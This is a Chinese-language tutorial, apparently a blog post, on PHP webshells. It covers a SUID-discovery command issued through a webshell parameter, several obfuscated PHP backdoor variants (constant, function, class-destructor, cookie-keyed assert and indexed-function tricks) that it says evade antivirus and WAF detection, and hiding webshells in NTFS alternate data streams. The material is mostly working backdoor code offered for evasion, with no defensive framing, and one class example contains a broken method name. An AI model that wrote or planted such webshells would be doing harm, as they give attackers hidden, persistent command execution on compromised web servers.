Webshell简介
Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称作为一种网页后门。
攻击者在入侵了一个网站后,通常将asp或php后门文件与网站服务器Web目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的
Webshell的作用
1、维持远程访问
2、全线提升
3、发动网络攻击
SUID权限 find函数使用过程这里介绍一种使用SUID提权的方式
1、通过下面的命令找到机器具有SUID权限的文件
test.php?cmd=system( "find / -user root -perm -4000 -print 2> /dev/null");
免杀
目前的安全产品对于木马查杀使用的正则匹配的方式,因此我们要做到免杀首先要清楚安全防护软件匹配的内容。
eval是一个危险函数,但是并不是简单的知识匹配eval,通过测试发现,淡村的eval并不会被过滤,实际过滤的内容为
image.png
免杀-常量定义
<?php define("a","$_REQUEST[cmd]");eval(a);?>
上面的代码通过定义常量的方式将eval与(dollar符号+短下划线)REQUEST行了拆分
进测试该代码可以绕过WAF的检查
同时在执行的时候a会被替换为$_REQUEST[cmd]
能够完成Webshell的功能
免杀-定义函数
<?php
function a($a)
{
return $a;
}
eval(a($_REQUEST)['cmd']);
?>
上面的代码通过定义函数的方式将eval与(dollar符号)+_REQUEST进行了拆分
进检测该代码可以绕过WAF的检查
通过自定义的函数将(dollar符号)+_REQUEST原样输出,将eval与(dollar符号)+_REQUEST拆分开
免杀-定义类
<?php
class User
{
public $name='';
function _destruct()
{
eval("$this->name");
}
}
?>
类在析构的时候会调用 _destruct()方法,而该方法的作用是调用eval执行name中的内容,name被赋值为了 (dollar符号)+_REQUEST['cmd'],也就是说类在析构的时候调用了eval($_REQUEST['cmd'])
上面的代码通过定义类的魔术方法的方式将eval与(dollar符号)+_REQUEST进行了拆分
进检测该代码可以绕过WAF的检查
免杀-多方式传参
<?php
$COOKIE=$_COOKIE;
foreach($COOKIE as $key=>$value)
{
if($key=='assert')
{
$key($_REQUEST['cmd']) ;
}
}
?>
上面的代码需要结合对脚本的传参才能够发挥Webshell的租用,是一种比较强的绕过方式
免杀-特殊调用
使用特殊的调用方式assert函数
<?php
$a=get_defined_functions();
$a['internal'][841]($_REQUEST['cmd']);
?>
经测试该种方式可以绕过WAF的检查
具体原因:
隐藏Webshell
NTFS交换数据流
1.它是NTFS磁盘的一个特性
2.存在主流文件和非主流文件的区分
3.主文件流能够直接看到;而非主文件六寄宿于主文件流中,无法直接读取,这个非主文件流就是NTFS交换数据流。
4.格式
宿主文件:关联的数据流文件 例如:1.txt:2.txt,2txt寄生在1.txt文件上
5.这里所创建的是一个单独的文件流:new.php
这种隐写方式依赖于NTFS文件流,因此该种方法只适用于Windows。
网友评论